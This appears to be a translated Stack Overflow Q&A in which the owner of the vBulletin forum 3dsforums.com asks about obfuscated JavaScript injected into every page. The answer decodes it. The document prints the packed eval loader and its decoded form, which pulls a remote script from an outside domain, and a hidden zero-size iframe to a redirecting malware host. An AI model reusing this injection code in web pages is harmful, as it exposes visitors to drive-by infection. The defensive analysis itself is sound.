javascript - 从网站中删除恶意软件

Question

我的网站 3dsforums.com 已被标记为包含恶意软件的攻击站点。根据 Google 网站管理员工具，这是已注入(inject)每个页面的可疑代码:

<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c ]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3 1=4.5(\'6\');1.7=\'8://9-a.b/ c.d.1\';3 2=4.e(\'2\')[0];2.f(1);',16,16,'|js|head|var|document|createElement|script|src|http|javascript|collection|in|jquery|compatibility|getElementsByTagName|appendChild'.split('|'),0,{}))</script>

因此，我有两个问题:

这实际上是有问题的代码吗？

我该如何删除它？

我似乎无法通过 vBulletin 中的模板或通过 phpmyadmin 找到它，所以我不知道我应该做什么。

感谢您的帮助。

Answer 1

JS Beautifier将其解压为:

var js = document.createElement('script');
js.src = 'http://javascript-collection.in/ jquery.compatibility.js';
var head = document.getElementsByTagName('head')[0];
head.appendChild(js);

它看起来很可疑(谁会混淆它？)，所以我认为是的，这就是问题所在，您应该将其删除。

编辑: 现在恶意站点已经备份，我可以分析其余部分:它似乎添加了一个 iframe:

var iframe = document.createElement('iframe');
iframe.src = 'http://gamessilver.in/in.cgi?walter';
iframe.width = 0;
iframe.height = 0;
iframe.vspace = 0;
iframe.hspace = 0;
iframe.frameborder = 0;
iframe.marginheight = 0;
iframe.marginwidth = 0;
var head = document.getElementsByTagName('head')[0];
head.appendChild(iframe);

将它附加到 head 有点奇怪。

如果 User-Agent 不是很容易被利用，in.cgi 脚本似乎会重定向到 Google。否则，它会重定向到另一个恶意网站。

它继续分支出许多 iframe。他们中的许多人什么都不做(尽管那时，我只是在 WinXP 上尝试 MSIE 6 的 User-Agent)，但我最终得到了两个 Java 小程序。当我反编译它们时，所有的名字都被破坏了，我也懒得去弄清楚它在做什么。